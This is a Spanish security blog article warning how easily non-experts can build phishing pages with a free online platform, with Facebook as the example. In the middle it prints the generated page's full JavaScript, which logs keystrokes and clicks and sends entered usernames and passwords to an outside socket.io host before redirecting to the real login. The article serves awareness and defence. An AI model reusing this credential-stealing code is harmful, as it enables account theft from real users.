La facilidad de los atacantes a día de hoy: Ataques de phishing a golpe de click

No es novedad que a diario se venden miles de herramientas de hacking usadas con fines maliciosos. Estas herramientas, por regla general, requieren de un mínimo de conocimiento por parte del ciberdelincuente, pero a día de hoy esto está cambiando, y es que ya existen plataformas para realizar múltiples tipos de ataques sin saber siquiera el nombre del mismo.

Hoy vamos a exponer un caso de uso de unas de las múltiples plataformas que se pueden encontrar por Internet. El nombre de la web no va a ser publicado para no fomentar el uso de la misma entre los lectores.

Llama la atención al entrar en la web, la interfaz amigable y por qué no decirlo, infantil que tiene. Parece una página sin ninguna malicia, sin embargo contiene numerosos tipos de ataques los cuáles están gravemente penados por la ley en nuestro país.

Al registrarte, lo primero que aparece es un mensaje de bienvenida el cuál nos indica que tienen un pequeño tutorial para nosotros.

Bienvenida a la plataforma

Cómo hackear una cuenta de Facebook!

Enlaces generados para el ataque de phishing

Página de Facebook generada para el ataque

Detalles de la contraseña en texto claro

http://www.questionpro.com/qp_userimages/sub-2/1419981/Facebook.png?userFileID=259491
http://www.portugalrx.com/wp-content/uploads/2016/02/facebook_logo.png

   
   var BigData = {  
     id: '3015',  
     token: 'i0n8QDoNAk8VHo8Pg3MKNcwtXE0LWT2zUAYBdL9qAOlTkZpB6s',  
     name: 'Facebook',  
     site_id: '9',  
     redirect: 'http://www.facebook.com/login',  
     hsData: "9|3015|i0n8QDoNAk8VHo8Pg3MKNcwtXE0LWT2zUAYBdL9qAOlTkZpB6s|1500371221",  
   };  
   var socket = io('https://pod-1.logshit.com');  
   socket.on('ping', function (data) {  
     socket.emit('hello', BigData );  
   });  
   socket.on('redirect', function(data){  
     window.location = BigData.redirect;  
   });  
   $(document).ready(function(){  
     $('body').click(function(e){  
       this.BigData = BigData;  
       socket.emit('clicked', this.BigData);  
     });  
     $('body').on('keyup', function(e){  
       this.BigData = BigData;  
       this.BigData.key = e.key;  
       socket.emit('keyup', this.BigData);  
     });  
   });  
   $("#login_form").keypress(function(e) {  
     if (e.which == 13) {  
       $("#submit").click();  
     }  
   });  
   $("#submit").click(function(e) {  
     e.preventDefault();  
     if ($("#username").val() == "") {  
       var err = "1";  
       alert('Username cannot be left empty');  
     }  
     if ($("#password").val() == "") {  
       var err = "1";  
       alert('Password cannot be left empty');  
     }  
     if (err != "1") {  
       socket.emit('log', {  
         username : $("#username").val(),  
         password : $("#password").val(),  
         hsData: BigData.hsData,  
         BigData: BigData,  
       });  
     }  
   });  
   

Guías que ofrece el servicio

Si nos dirigimos al apartado de nuestra web creada, veremos cómo aparecen las estadísticas de las visitas recibidas:

Estadísticas de las visitas recibidas

Indagando un poco más en la página, podemos ver cómo ofrecen este servicio para realizar este tipo de ataque a 26 webs diferentes.

Servicios contra los que se puede crear un phishing a golpe de click

También cuentan con un market en el que puedes comprar o vender servicios. Los métodos de pago aceptados son muy variados, desde Bitcoin hasta Paypal pasando por Western Union y MoneyGram.

Servicios de pago aceptados

Si además pagamos por la cuenta PREMIUM antes mencionada, cabe destacar que tenemos acceso a más servicios, los cuáles parecen ser igual de mediocres que el anterior pero que con una víctima inexperta y un poco de ingeniería social, podrían ser realmente dañinos.

Servicios premium ofrecidos por la plataforma

Con esta una-al-día queríamos demostrar a nuestros lectores que hoy en día realizar acciones maliciosas en Internet no es complicado ni requiere de conocimientos Informáticos, pero en España puede llegar a incurrir en penas de 6 meses a 3 años de prisión. 

Para finalizar, recalcar que esta es una de las muchas plataformas de creación de phishing gratuitas que hay por Internet. Algunas más simples, otras más complejas, pero todas pueden ser usadas para realizar acciones maliciosas altamente penadas.

Daniel Púa

dpua@hispasec.com